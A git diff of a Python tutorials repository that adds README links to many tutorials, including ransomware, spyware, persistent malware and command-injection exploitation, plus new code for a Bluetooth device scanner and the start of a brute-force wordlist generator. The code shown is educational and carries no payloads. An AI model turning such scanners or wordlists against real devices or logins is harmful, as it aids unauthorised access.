diff --git a/README.md b/README.md index 193a55bb..ddf5f25d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,13 @@ -![alt text](images/python_logo.ico) +

+ + CodingFleet Code Generator + + CodingFleet Code Converter + +

+ + + # Python Code Tutorials This is a repository of all the tutorials of [The Python Code](https://www.thepythoncode.com) website. ## List of Tutorials @@ -16,6 +25,9 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Build a WiFi Scanner in Python using Scapy](https://www.thepythoncode.com/article/building-wifi-scanner-in-python-scapy). ([code](scapy/wifi-scanner)) - [How to Make a SYN Flooding Attack in Python](https://www.thepythoncode.com/article/syn-flooding-attack-using-scapy-in-python). ([code](scapy/syn-flood)) - [How to Inject Code into HTTP Responses in the Network in Python](https://www.thepythoncode.com/article/injecting-code-to-html-in-a-network-scapy-python). ([code](scapy/http-code-injector/)) + - [How to Perform IP Address Spoofing in Python](https://thepythoncode.com/article/make-an-ip-spoofer-in-python-using-scapy). ([code](scapy/ip-spoofer)) + - [How to See Hidden Wi-Fi Networks in Python](https://thepythoncode.com/article/uncovering-hidden-ssids-with-scapy-in-python). ([code](scapy/uncover-hidden-wifis)) + - [Crafting Dummy Packets with Scapy Using Python](https://thepythoncode.com/article/crafting-packets-with-scapy-in-python). ([code](scapy/crafting-packets)) - [Writing a Keylogger in Python from Scratch](https://www.thepythoncode.com/article/write-a-keylogger-python). ([code](ethical-hacking/keylogger)) - [Making a Port Scanner using sockets in Python](https://www.thepythoncode.com/article/make-port-scanner-python). ([code](ethical-hacking/port_scanner)) - [How to Create a Reverse Shell in Python](https://www.thepythoncode.com/article/create-reverse-shell-python). ([code](ethical-hacking/reverse_shell)) @@ -40,6 +52,36 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Make a Ransomware in Python](https://www.thepythoncode.com/article/make-a-ransomware-in-python). ([code](ethical-hacking/ransomware)) - [How to Perform DNS Enumeration in Python](https://www.thepythoncode.com/article/dns-enumeration-with-python). ([code](ethical-hacking/dns-enumeration)) - [How to Geolocate IP addresses in Python](https://www.thepythoncode.com/article/geolocate-ip-addresses-with-ipinfo-in-python). ([code](ethical-hacking/geolocating-ip-addresses)) + - [How to Crack Hashes in Python](https://thepythoncode.com/article/crack-hashes-in-python). ([code](ethical-hacking/hash-cracker)) + - [How to Make a Phone Number Tracker in Python](https://thepythoncode.com/article/phone-number-tracker-in-python). ([code](ethical-hacking/phone-number-tracker)) + - [How to Make a Login Password Guesser in Python](https://thepythoncode.com/article/make-a-login-password-guesser-in-python). ([code](ethical-hacking/login-password-guesser)) + - [How to Build a Password Manager in Python](https://thepythoncode.com/article/build-a-password-manager-in-python). ([code](ethical-hacking/password-manager)) + - [How to List Wi-Fi Networks in Python](https://thepythoncode.com/article/list-nearby-wifi-networks-with-python). ([code](ethical-hacking/listing-wifi-networks)) + - [How to Verify File Integrity in Python](https://thepythoncode.com/article/verify-downloaded-files-with-checksum-in-python). ([code](ethical-hacking/verify-file-integrity)) + - [How to Create a Zip File Locker in Python](https://thepythoncode.com/article/build-a-zip-file-locker-in-python). ([code](ethical-hacking/zip-file-locker)) + - [How to Implement the Caesar Cipher in Python](https://thepythoncode.com/article/implement-caesar-cipher-in-python). ([code](ethical-hacking/caesar-cipher)) + - [How to Crack the Caesar Cipher in Python](https://thepythoncode.com/article/how-to-crack-caesar-cipher-in-python). ([code](ethical-hacking/caesar-cipher)) + - [How to Lock PDFs in Python](https://thepythoncode.com/article/lock-pdfs-in-python). [(code)](ethical-hacking/pdf-locker) + - [How to Create a Custom Wordlist in Python](https://thepythoncode.com/article/make-a-wordlist-generator-in-python). ([code](ethical-hacking/bruteforce-wordlist-generator)) + - [How to Implement the Affine Cipher in Python](https://thepythoncode.com/article/how-to-implement-affine-cipher-in-python). ([code](ethical-hacking/implement-affine-cipher)) + - [How to Crack the Affine Cipher in Python](https://thepythoncode.com/article/how-to-crack-the-affine-cipher-in-python). ([code](ethical-hacking/crack-affine-cipher)) + - [How to Implement the Vigenère Cipher in Python](https://thepythoncode.com/article/implementing-the-vigenere-cipher-in-python). ([code](ethical-hacking/implement-vigenere-cipher)) + - [How to Generate Fake User Data in Python](https://thepythoncode.com/article/generate-fake-user-data-in-python). ([code](ethical-hacking/fake-user-data-generator)) + - [Bluetooth Device Scanning in Python](https://thepythoncode.com/article/build-a-bluetooth-scanner-in-python). ([code](ethical-hacking/bluetooth-scanner)) + - [How to Create A Fork Bomb in Python](https://thepythoncode.com/article/make-a-fork-bomb-in-python). ([code](ethical-hacking/fork-bomb)) + - [How to Implement 2FA in Python](https://thepythoncode.com/article/implement-2fa-in-python). ([code](ethical-hacking/implement-2fa)) + - [How to Build a Username Search Tool in Python](https://thepythoncode.com/code/social-media-username-finder-in-python). ([code](ethical-hacking/username-finder)) + - [How to Find Past Wi-Fi Connections on Windows in Python](https://thepythoncode.com/article/find-past-wifi-connections-on-windows-in-python). ([code](ethical-hacking/find-past-wifi-connections-on-windows)) + - [How to Remove Metadata from PDFs in Python](https://thepythoncode.com/article/how-to-remove-metadata-from-pdfs-in-python). ([code](ethical-hacking/pdf-metadata-remover)) + - [How to Extract Metadata from Docx Files in Python](https://thepythoncode.com/article/docx-metadata-extractor-in-python). ([code](ethical-hacking/docx-metadata-extractor)) + - [How to Build Spyware in Python](https://thepythoncode.com/article/how-to-build-spyware-in-python). ([code](ethical-hacking/spyware)) + - [How to Exploit Command Injection Vulnerabilities in Python](https://thepythoncode.com/article/how-to-exploit-command-injection-vulnerabilities-in-python). ([code](ethical-hacking/exploit-command-injection)) + - [How to Make Malware Persistent in Python](https://thepythoncode.com/article/how-to-create-malware-persistent-in-python). ([code](ethical-hacking/persistent-malware)) + - [How to Remove Persistent Malware in Python](https://thepythoncode.com/article/removingg-persistent-malware-in-python). ([code](ethical-hacking/remove-persistent-malware)) + - [How to Check Password Strength with Python](https://thepythoncode.com/article/test-password-strength-with-python). ([code](ethical-hacking/checking-password-strength)) + - [How to Perform Reverse DNS Lookups Using Python](https://thepythoncode.com/article/reverse-dns-lookup-with-python). ([code](ethical-hacking/reverse-dns-lookup)) + - [How to Make a Clickjacking Vulnerability Scanner in Python](https://thepythoncode.com/article/make-a-clickjacking-vulnerability-scanner-with-python). ([code](ethical-hacking/clickjacking-scanner)) + - [How to Build a Custom NetCat with Python](https://thepythoncode.com/article/create-a-custom-netcat-in-python). ([code](ethical-hacking/custom-netcat/)) - ### [Machine Learning](https://www.thepythoncode.com/topic/machine-learning) - ### [Natural Language Processing](https://www.thepythoncode.com/topic/nlp) @@ -58,6 +100,11 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [Fake News Detection using Transformers in Python](https://www.thepythoncode.com/article/fake-news-classification-in-python). ([code](machine-learning/nlp/fake-news-classification)) - [Named Entity Recognition using Transformers and Spacy in Python](https://www.thepythoncode.com/article/named-entity-recognition-using-transformers-and-spacy). ([code](machine-learning/nlp/named-entity-recognition)) - [Tokenization, Stemming, and Lemmatization in Python](https://www.thepythoncode.com/article/tokenization-stemming-and-lemmatization-in-python). ([code](machine-learning/nlp/tokenization-stemming-lemmatization)) + - [How to Fine Tune BERT for Semantic Textual Similarity using Transformers in Python](https://www.thepythoncode.com/article/finetune-bert-for-semantic-textual-similarity-in-python). ([code](machine-learning/nlp/semantic-textual-similarity)) + - [How to Calculate the BLEU Score in Python](https://www.thepythoncode.com/article/bleu-score-in-python). ([code](machine-learning/nlp/bleu-score)) + - [Word Error Rate in Python](https://www.thepythoncode.com/article/calculate-word-error-rate-in-python). ([code](machine-learning/nlp/wer-score)) + - [How to Calculate ROUGE Score in Python](https://www.thepythoncode.com/article/calculate-rouge-score-in-python). ([code](machine-learning/nlp/rouge-score)) + - [Visual Question Answering with Transformers](https://www.thepythoncode.com/article/visual-question-answering-with-transformers-in-python). ([code](machine-learning/visual-question-answering)) - ### [Computer Vision](https://www.thepythoncode.com/topic/computer-vision) - [How to Detect Human Faces in Python using OpenCV](https://www.thepythoncode.com/article/detect-faces-opencv-python). ([code](machine-learning/face_detection)) - [How to Make an Image Classifier in Python using TensorFlow and Keras](https://www.thepythoncode.com/article/image-classification-keras-python). ([code](machine-learning/image-classifier)) @@ -83,6 +130,13 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Generate Images from Text using Stable Diffusion in Python](https://www.thepythoncode.com/article/generate-images-from-text-stable-diffusion-python). ([code](machine-learning/stable-diffusion-models)) - [How to Perform Image to Image Generation with Stable Diffusion in Python](https://www.thepythoncode.com/article/generate-images-using-depth-to-image-huggingface-python). ([code](machine-learning/depth2image-stable-diffusion)) - [Real-time Object Tracking with OpenCV and YOLOv8 in Python](https://www.thepythoncode.com/article/real-time-object-tracking-with-yolov8-opencv). ([code](https://github.com/python-dontrepeatyourself/Real-Time-Object-Tracking-with-DeepSORT-and-YOLOv8)) + - [How to Control the Generated Images by diffusion models via ControlNet in Python](https://www.thepythoncode.com/article/control-generated-images-with-controlnet-with-huggingface). ([code](machine-learning/control-image-generation-with-controlnet)) + - [How to Edit Images using InstructPix2Pix in Python](https://www.thepythoncode.com/article/edit-images-using-instruct-pix2pix-with-huggingface). ([code](machine-learning/edit-images-instruct-pix2pix)) + - [How to Upscale Images using Stable Diffusion in Python](https://www.thepythoncode.com/article/upscale-images-using-stable-diffusion-x4-upscaler-huggingface). ([code](machine-learning/stable-diffusion-upscaler)) + - [Real-Time Vehicle Detection, Tracking and Counting in Python](https://thepythoncode.com/article/real-time-vehicle-tracking-and-counting-with-yolov8-opencv). ([code](https://github.com/python-dontrepeatyourself/Real-Time-Vehicle-Detection-Tracking-and-Counting-in-Python/)) + - [How to Cartoonify Images in Python](https://thepythoncode.com/article/make-a-cartoonifier-with-opencv-in-python). ([code](machine-learning/cartoonify-images)) + - [How to Make a Facial Recognition System in Python](https://thepythoncode.com/article/create-a-facial-recognition-system-in-python). ([code](machine-learning/facial-recognition-system)) + - [Non-Maximum Suppression with OpenCV and Python](https://thepythoncode.com/article/non-maximum-suppression-using-opencv-in-python). ([code](https://github.com/Rouizi/Non-Maximum-Suppression-with-OpenCV-and-Python)) - [Building a Speech Emotion Recognizer using Scikit-learn](https://www.thepythoncode.com/article/building-a-speech-emotion-recognizer-using-sklearn). ([code](machine-learning/speech-emotion-recognition)) - [How to Convert Speech to Text in Python](https://www.thepythoncode.com/article/using-speech-recognition-to-convert-speech-to-text-python). ([code](machine-learning/speech-recognition)) - [Top 8 Python Libraries For Data Scientists and Machine Learning Engineers](https://www.thepythoncode.com/article/top-python-libraries-for-data-scientists). @@ -107,6 +161,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [Autoencoders for Dimensionality Reduction using TensorFlow in Python](https://www.thepythoncode.com/article/feature-extraction-dimensionality-reduction-autoencoders-python-keras). ([code](machine-learning/feature-extraction-autoencoders)) - [Exploring the Different Types of Clustering Algorithms in Machine Learning with Python](https://www.thepythoncode.com/article/clustering-algorithms-in-machine-learning-with-python). ([code](machine-learning/clustering-algorithms)) - [Image Captioning using PyTorch and Transformers](https://www.thepythoncode.com/article/image-captioning-with-pytorch-and-transformers-in-python). ([code](machine-learning/image-captioning)) + - [Speech Recognition in Python](https://www.thepythoncode.com/article/speech-recognition-in-python). ([code](machine-learning/asr)) - ### [General Python Topics](https://www.thepythoncode.com/topic/general-python-topics) - [How to Make Facebook Messenger bot in Python](https://www.thepythoncode.com/article/make-bot-fbchat-python). ([code](general/messenger-bot)) @@ -126,13 +181,13 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Make a Simple Math Quiz Game in Python](https://www.thepythoncode.com/article/make-a-simple-math-quiz-game-in-python). ([code](general/simple-math-game)) - [How to Make a Network Usage Monitor in Python](https://www.thepythoncode.com/article/make-a-network-usage-monitor-in-python). ([code](general/network-usage)) - [How to Replace Text in Docx Files in Python](https://www.thepythoncode.com/article/replace-text-in-docx-files-using-python). ([code](general/docx-file-replacer)) - - [How to Make a Text Adventure Game in Python](https://www.thepythoncode.com/article/make-a-text-adventure-game-with-python). ([code](general/text-adventure-game)) - [Zipf's Word Frequency Plot with Python](https://www.thepythoncode.com/article/plot-zipfs-law-using-matplotlib-python). ([code](general/zipf-curve)) - [How to Plot Weather Temperature in Python](https://www.thepythoncode.com/article/interactive-weather-plot-with-matplotlib-and-requests). ([code](general/interactive-weather-plot/)) - [How to Generate SVG Country Maps in Python](https://www.thepythoncode.com/article/generate-svg-country-maps-python). ([code](general/generate-svg-country-map)) - [How to Query the Ethereum Blockchain with Python](https://www.thepythoncode.com/article/query-ethereum-blockchain-with-python). ([code](general/query-ethereum)) - [Data Cleaning with Pandas in Python](https://www.thepythoncode.com/article/data-cleaning-using-pandas-in-python). ([code](general/data-cleaning-pandas)) - [How to Minify CSS with Python](https://www.thepythoncode.com/article/minimize-css-files-in-python). ([code](general/minify-css)) + - [Build a real MCP client and server in Python with FastMCP (Todo Manager example)](https://www.thepythoncode.com/article/fastmcp-mcp-client-server-todo-manager). ([code](general/fastmcp-mcp-client-server-todo-manager)) @@ -155,6 +210,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Extract Google Trends Data in Python](https://www.thepythoncode.com/article/extract-google-trends-data-in-python). ([code](web-scraping/extract-google-trends-data)) - [How to Make a YouTube Video Downloader in Python](https://www.thepythoncode.com/article/make-a-youtube-video-downloader-in-python). ([code](web-scraping/youtube-video-downloader)) - [How to Build a YouTube Audio Downloader in Python](https://www.thepythoncode.com/article/build-a-youtube-mp3-downloader-tkinter-python). ([code](web-scraping/youtube-mp3-downloader)) + - [YouTube Video Transcription Summarization with Python](https://thepythoncode.com/article/youtube-video-transcription-and-summarization-with-python). ([code](web-scraping/youtube-transcript-summarizer/)) - ### [Python Standard Library](https://www.thepythoncode.com/topic/python-standard-library) - [How to Transfer Files in the Network using Sockets in Python](https://www.thepythoncode.com/article/send-receive-files-using-sockets-python). ([code](general/transfer-files/)) @@ -179,6 +235,9 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Print Variable Name and Value in Python](https://www.thepythoncode.com/article/print-variable-name-and-value-in-python). ([code](python-standard-library/print-variable-name-and-value)) - [How to Make a Hangman Game in Python](https://www.thepythoncode.com/article/make-a-hangman-game-in-python). ([code](python-standard-library/hangman-game)) - [How to Use the Argparse Module in Python](https://www.thepythoncode.com/article/how-to-use-argparse-in-python). ([code](python-standard-library/argparse)) + - [How to Make a Grep Clone in Python](https://thepythoncode.com/article/how-to-make-grep-clone-in-python). ([code](python-standard-library/grep-clone)) + - [How to Validate Credit Card Numbers in Python](https://thepythoncode.com/article/credit-card-validation-in-python). ([code](python-standard-library/credit-card-validation)) + - [How to Build a TCP Proxy with Python](https://thepythoncode.com/article/building-a-tcp-proxy-with-python). ([code](python-standard-library/tcp-proxy)) - ### [Using APIs](https://www.thepythoncode.com/topic/using-apis-in-python) - [How to Automate your VPS or Dedicated Server Management in Python](https://www.thepythoncode.com/article/automate-veesp-server-management-in-python). ([code](general/automating-server-management)) @@ -194,6 +253,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Use YouTube API in Python](https://www.thepythoncode.com/article/using-youtube-api-in-python). ([code](general/youtube-api)) - [Webhooks in Python with Flask](https://www.thepythoncode.com/article/webhooks-in-python-with-flask). ([code](https://github.com/bassemmarji/Flask_Webhook)) - [How to Make a Language Detector in Python](https://www.thepythoncode.com/article/language-detector-in-python). ([code](general/language-detector)) + - [How to Build a Twitter (X) Bot in Python](https://thepythoncode.com/article/make-a-twitter-bot-in-python). ([code](https://github.com/menard-codes/dog-fact-tweeter-bot)) - ### [Database](https://www.thepythoncode.com/topic/using-databases-in-python) - [How to Use MySQL Database in Python](https://www.thepythoncode.com/article/using-mysql-database-in-python). ([code](database/mysql-connector)) @@ -234,6 +294,9 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Record a Specific Window in Python](https://www.thepythoncode.com/article/record-a-specific-window-in-python). ([code](python-for-multimedia/record-specific-window)) - [How to Add Audio to Video in Python](https://www.thepythoncode.com/article/add-audio-to-video-in-python). ([code](python-for-multimedia/add-audio-to-video)) - [How to Compress Images in Python](https://www.thepythoncode.com/article/compress-images-in-python). ([code](python-for-multimedia/compress-image)) + - [How to Remove Metadata from an Image in Python](https://thepythoncode.com/article/how-to-clear-image-metadata-in-python). ([code](python-for-multimedia/remove-metadata-from-images)) + - [How to Create Videos from Images in Python](https://thepythoncode.com/article/create-a-video-from-images-opencv-python). ([code](python-for-multimedia/create-video-from-images)) + - [How to Recover Deleted Files with Python](https://thepythoncode.com/article/how-to-recover-deleted-file-with-python). ([code](python-for-multimedia/recover-deleted-files)) - ### [Web Programming](https://www.thepythoncode.com/topic/web-programming) - [Detecting Fraudulent Transactions in a Streaming Application using Kafka in Python](https://www.thepythoncode.com/article/detect-fraudulent-transactions-with-apache-kafka-in-python). ([code](general/detect-fraudulent-transactions)) @@ -250,15 +313,16 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Make an Accounting App with Django in Python](https://www.thepythoncode.com/article/make-an-accounting-app-with-django-in-python). ([code](web-programming/accounting-app)) - [How to Build a News Site API with Django Rest Framework in Python](https://www.thepythoncode.com/article/a-news-site-api-with-django-python). ([code](web-programming/news_project)) - [How to Create a RESTful API with Flask in Python](https://www.thepythoncode.com/article/create-a-restful-api-with-flask-in-python). ([code](web-programming/restful-api-flask)) + - [How to Build a GraphQL API in Python](https://www.thepythoncode.com/article/build-a-graphql-api-with-fastapi-strawberry-and-postgres-python). ([code](https://github.com/menard-codes/PythonGQLArticle)) + - [How to Build a Chat App using Flask in Python](https://thepythoncode.com/article/how-to-build-a-chat-app-in-python-using-flask-and-flasksocketio). ([code](https://github.com/menard-codes/FlaskChatApp)) + - [How to Build a Full-Stack Web App in Python using FastAPI and React.js](https://thepythoncode.com/article/fullstack-notes-app-with-fastapi-and-reactjs) ([Backend](https://github.com/menard-codes/NotesAppBackend-FastAPI-React), [Frontend](https://github.com/menard-codes/NotesAppFrontend-FastAPI-React)) - ### [GUI Programming](https://www.thepythoncode.com/topic/gui-programming) - [How to Make a Text Editor using Tkinter in Python](https://www.thepythoncode.com/article/text-editor-using-tkinter-python). ([code](gui-programming/text-editor)) - [How to Make a Button using PyGame in Python](https://www.thepythoncode.com/article/make-a-button-using-pygame-in-python). ([code](gui-programming/button-in-pygame)) - - [How to Make a Drawing Program in Python](https://www.thepythoncode.com/article/make-a-drawing-program-with-python). ([code](gui-programming/drawing-tool-in-pygame)) - [How to Make a File Explorer using Tkinter in Python](https://www.thepythoncode.com/article/create-a-simple-file-explorer-using-tkinter-in-python). ([code](gui-programming/file-explorer)) - [How to Make a Calculator with Tkinter in Python](https://www.thepythoncode.com/article/make-a-calculator-app-using-tkinter-in-python). ([code](gui-programming/calculator-app)) - [How to Make a Typing Speed Tester with Tkinter in Python](https://www.thepythoncode.com/article/how-to-make-typing-speed-tester-in-python-using-tkinter). ([code](gui-programming/type-speed-tester)) - - [How to Make a Planet Simulator with PyGame in Python](https://www.thepythoncode.com/article/make-a-planet-simulator-using-pygame-in-python). ([code](gui-programming/planet-simulator)) - [How to Make a Markdown Editor using Tkinter in Python](https://www.thepythoncode.com/article/markdown-editor-with-tkinter-in-python). ([code](gui-programming/markdown-editor)) - [How to Build a GUI Currency Converter using Tkinter in Python](https://www.thepythoncode.com/article/currency-converter-gui-using-tkinter-python). ([code](gui-programming/currency-converter-gui/)) - [How to Detect Gender by Name using Python](https://www.thepythoncode.com/article/gender-predictor-gui-app-tkinter-genderize-api-python). ([code](gui-programming/genderize-app)) @@ -268,12 +332,35 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Make an Age Calculator in Python](https://www.thepythoncode.com/article/age-calculator-using-tkinter-python). ([code](gui-programming/age-calculator)) - [How to Create an Alarm Clock App using Tkinter in Python](https://www.thepythoncode.com/article/build-an-alarm-clock-app-using-tkinter-python). ([code](gui-programming/alarm-clock-app)) - [How to Build a GUI Voice Recorder App in Python](https://www.thepythoncode.com/article/make-a-gui-voice-recorder-python). ([code](gui-programming/voice-recorder-app)) - - [How to Make a Chess Game with Pygame in Python](https://www.thepythoncode.com/article/make-a-chess-game-using-pygame-in-python). ([code](gui-programming/chess-game)) - [How to Build a GUI QR Code Generator and Detector Using Python](https://www.thepythoncode.com/article/make-a-qr-code-generator-and-reader-tkinter-python). ([code](gui-programming/qrcode-generator-reader-gui)) - [How to Build a GUI Dictionary App with Tkinter in Python](https://www.thepythoncode.com/article/make-a-gui-audio-dictionary-python). ([code](gui-programming/word-dictionary-with-audio)) - [How to Make a Real-Time GUI Spelling Checker in Python](https://www.thepythoncode.com/article/make-a-realtime-spelling-checker-gui-python). ([code](gui-programming/realtime-spelling-checker)) + - [How to Build a GUI Language Translator App in Python](https://www.thepythoncode.com/article/build-a-gui-language-translator-tkinter-python). ([code](gui-programming/gui-language-translator)) + - [How to Make an Image Editor in Python](https://www.thepythoncode.com/article/make-an-image-editor-in-tkinter-python). ([code](gui-programming/image-editor)) + - [How to Build a CRUD App with PyQt5 and SQLite3 in Python](https://thepythoncode.com/article/build-a-crud-app-using-pyqt5-and-sqlite3-in-python). ([code](gui-programming/crud-app-pyqt5)) + +- ### [Game Development](https://www.thepythoncode.com/topic/game-development) + - [How to Make a Button using PyGame in Python](https://www.thepythoncode.com/article/make-a-button-using-pygame-in-python). ([code](gui-programming/button-in-pygame)) + - [How to Make a Drawing Program in Python](https://www.thepythoncode.com/article/make-a-drawing-program-with-python). ([code](gui-programming/drawing-tool-in-pygame)) + - [How to Make a Planet Simulator with PyGame in Python](https://www.thepythoncode.com/article/make-a-planet-simulator-using-pygame-in-python). ([code](gui-programming/planet-simulator)) + - [How to Make a Chess Game with Pygame in Python](https://www.thepythoncode.com/article/make-a-chess-game-using-pygame-in-python). ([code](gui-programming/chess-game)) - [How to Create a GUI Hangman Game using PyGame in Python](https://www.thepythoncode.com/article/hangman-gui-game-with-pygame-in-python). ([code](gui-programming/hangman-game-gui)) + - [How to Make a Hangman Game in Python](https://www.thepythoncode.com/article/make-a-hangman-game-in-python). ([code](python-standard-library/hangman-game)) + - [How to Make a Text Adventure Game in Python](https://www.thepythoncode.com/article/make-a-text-adventure-game-with-python). ([code](general/text-adventure-game)) - [How to Make a Tetris Game using PyGame in Python](https://www.thepythoncode.com/article/create-a-tetris-game-with-pygame-in-python). ([code](gui-programming/tetris-game)) - [How to Build a Tic Tac Toe Game in Python](https://www.thepythoncode.com/article/make-a-tic-tac-toe-game-pygame-in-python). ([code](gui-programming/tictactoe-game)) + - [How to Make a Checkers Game with Pygame in Python](https://www.thepythoncode.com/article/make-a-checkers-game-with-pygame-in-python). ([code](gui-programming/checkers-game)) + - [How to Make a Snake Game in Python](https://www.thepythoncode.com/article/make-a-snake-game-with-pygame-in-python). ([code](gui-programming/snake-game)) + - [How to Create a Slide Puzzle Game in Python](https://www.thepythoncode.com/article/slide-puzzle-game-in-python). ([code](gui-programming/slide-puzzle)) + - [How to Make a Maze Game in Python](https://www.thepythoncode.com/article/build-a-maze-game-in-python). ([code](gui-programming/maze-game)) + - [How to Create a Platformer Game in Python](https://www.thepythoncode.com/article/platformer-game-with-pygame-in-python). ([code](gui-programming/platformer-game)) + - [How to Make a Flappy Bird Game in Python](https://thepythoncode.com/article/make-a-flappy-bird-game-python). ([code](gui-programming/flappy-bird-game)) + - [How to Create a Pong Game in Python](https://thepythoncode.com/article/build-a-pong-game-in-python). ([code](gui-programming/pong-game)) + - [How to Create a Space Invaders Game in Python](https://thepythoncode.com/article/make-a-space-invader-game-in-python). ([code](gui-programming/space-invaders-game)) + - [How to Build a Sudoku Game with Python](https://thepythoncode.com/article/make-a-sudoku-game-in-python). ([code](gui-programming/sudoku-game)) + - [How to Make a Pacman Game with Python](https://thepythoncode.com/article/creating-pacman-game-with-python). ([code](gui-programming/pacman-game)) + - [How to Add Sound Effects to your Python Game](https://thepythoncode.com/article/add-sound-effects-to-python-game-with-pygame). ([code](gui-programming/adding-sound-effects-to-games)) + - [How to Build a Breakout Game with PyGame in Python](https://thepythoncode.com/article/breakout-game-pygame-in-python). ([code](https://github.com/Omotunde2005/Breakout_with_pygame)) + For any feedback, please consider pulling requests. diff --git a/ethical-hacking/bluetooth-scanner/README.md b/ethical-hacking/bluetooth-scanner/README.md new file mode 100644 index 00000000..c8b19deb --- /dev/null +++ b/ethical-hacking/bluetooth-scanner/README.md @@ -0,0 +1 @@ +# [Bluetooth Device Scanning in Python](https://thepythoncode.com/article/build-a-bluetooth-scanner-in-python) \ No newline at end of file diff --git a/ethical-hacking/bluetooth-scanner/bluetooth_scanner.py b/ethical-hacking/bluetooth-scanner/bluetooth_scanner.py new file mode 100644 index 00000000..2945c767 --- /dev/null +++ b/ethical-hacking/bluetooth-scanner/bluetooth_scanner.py @@ -0,0 +1,85 @@ +import bluetooth + +# Major and Minor Device Class definitions based on Bluetooth specifications +MAJOR_CLASSES = { + 0: "Miscellaneous", + 1: "Computer", + 2: "Phone", + 3: "LAN/Network Access", + 4: "Audio/Video", + 5: "Peripheral", + 6: "Imaging", + 7: "Wearable", + 8: "Toy", + 9: "Health", + 10: "Uncategorized" +} + +MINOR_CLASSES = { + # Computer Major Class + (1, 0): "Uncategorized Computer", (1, 1): "Desktop Workstation", + (1, 2): "Server-class Computer", (1, 3): "Laptop", (1, 4): "Handheld PC/PDA", + (1, 5): "Palm-sized PC/PDA", (1, 6): "Wearable computer", + # Phone Major Class + (2, 0): "Uncategorized Phone", (2, 1): "Cellular", (2, 2): "Cordless", + (2, 3): "Smartphone", (2, 4): "Wired modem or voice gateway", + (2, 5): "Common ISDN Access", + # LAN/Network Access Major Class + (3, 0): "Fully available", (3, 1): "1% to 17% utilized", + (3, 2): "17% to 33% utilized", (3, 3): "33% to 50% utilized", + (3, 4): "50% to 67% utilized", (3, 5): "67% to 83% utilized", + (3, 6): "83% to 99% utilized", (3, 7): "No service available", + # Audio/Video Major Class + (4, 0): "Uncategorized A/V", (4, 1): "Wearable Headset", (4, 2): "Hands-free Device", + (4, 3): "Microphone", (4, 4): "Loudspeaker", (4, 5): "Headphones", (4, 6): "Portable Audio", + (4, 7): "Car audio", (4, 8): "Set-top box", (4, 9): "HiFi Audio Device", + (4, 10): "VCR", (4, 11): "Video Camera", (4, 12): "Camcorder", + (4, 13): "Video Monitor", (4, 14): "Video Display and Loudspeaker", + (4, 15): "Video Conferencing", (4, 16): "Gaming/Toy", + # Peripheral Major Class + (5, 0): "Not Keyboard/Not Pointing Device", (5, 1): "Keyboard", + (5, 2): "Pointing device", (5, 3): "Combo Keyboard/Pointing device", + # Imaging Major Class + (6, 0): "Display", (6, 1): "Camera", (6, 2): "Scanner", (6, 3): "Printer", + # Wearable Major Class + (7, 0): "Wristwatch", (7, 1): "Pager", (7, 2): "Jacket", + (7, 3): "Helmet", (7, 4): "Glasses", + # Toy Major Class + (8, 0): "Robot", (8, 1): "Vehicle", + (8, 2): "Doll / Action figure", + (8, 3): "Controller", (8, 4): "Game", + # Health Major Class + (9, 0): "Undefined", (9, 1): "Blood Pressure Monitor", + (9, 2): "Thermometer", (9, 3): "Weighing Scale", + (9, 4): "Glucose Meter", (9, 5): "Pulse Oximeter", + (9, 6): "Heart/Pulse Rate Monitor", (9, 7): "Health Data Display", + (9, 8): "Step Counter", (9, 9): "Body Composition Analyzer", + (9, 10): "Peak Flow Monitor", (9, 11): "Medication Monitor", + (9, 12): "Knee Prosthesis", (9, 13): "Ankle Prosthesis", + # More specific definitions can be added if needed +} + +def parse_device_class(device_class): + major = (device_class >> 8) & 0x1F # divide by 2**8 and mask with 0x1F (take the last 5 bits) + minor = (device_class >> 2) & 0x3F # divide by 2**2 and mask with 0x3F (take the last 6 bits) + major_class_name = MAJOR_CLASSES.get(major, "Unknown Major Class") + minor_class_key = (major, minor) + minor_class_name = MINOR_CLASSES.get(minor_class_key, "Unknown Minor Class") + return major_class_name, minor_class_name + + +def scan_bluetooth_devices(): + try: + discovered_devices = bluetooth.discover_devices(duration=8, lookup_names=True, lookup_class=True) + print('[!] Scanning for Bluetooth devices...') + print(f"[!] Found {len(discovered_devices)} Devices") + for addr, name, device_class in discovered_devices: + major_class, minor_class = parse_device_class(device_class) + print(f"[+] Device Name: {name}") + print(f" Address: {addr}") + print(f" Device Class: {device_class} ({major_class}, {minor_class})") + except Exception as e: + print(f"[ERROR] An error occurred: {e}") + +if __name__ == "__main__": + scan_bluetooth_devices() diff --git a/ethical-hacking/bluetooth-scanner/requirements.txt b/ethical-hacking/bluetooth-scanner/requirements.txt new file mode 100644 index 00000000..0c35f5ce --- /dev/null +++ b/ethical-hacking/bluetooth-scanner/requirements.txt @@ -0,0 +1 @@ +pybluez2 \ No newline at end of file diff --git a/ethical-hacking/bruteforce-wordlist-generator/README.md b/ethical-hacking/bruteforce-wordlist-generator/README.md new file mode 100644 index 00000000..7a2e8b50 --- /dev/null +++ b/ethical-hacking/bruteforce-wordlist-generator/README.md @@ -0,0 +1 @@ +# [How to Create a Custom Wordlist in Python](https://thepythoncode.com/article/make-a-wordlist-generator-in-python) \ No newline at end of file diff --git a/ethical-hacking/bruteforce-wordlist-generator/wordlist_gen.py b/ethical-hacking/bruteforce-wordlist-generator/wordlist_gen.py new file mode 100644 index 00000000..13f2b1f7 --- /dev/null +++ b/ethical-hacking/bruteforce-wordlist-generator/wordlist_gen.py @@ -0,0 +1,36 @@ +# Import the argparse module for handling command line arguments. +# Import the itertools module for generating combinations. +import argparse, itertools + + +# Define a function to generate a wordlist based on given parameters. +def generate_wordlist(characters, min_length, max_length, output_file): + # Open the output file in write mode. + with open(output_file, 'w') as file: + # Iterate over the range of word lengths from min_length to max_length. + for length in range(min_length, max_length + 1): + 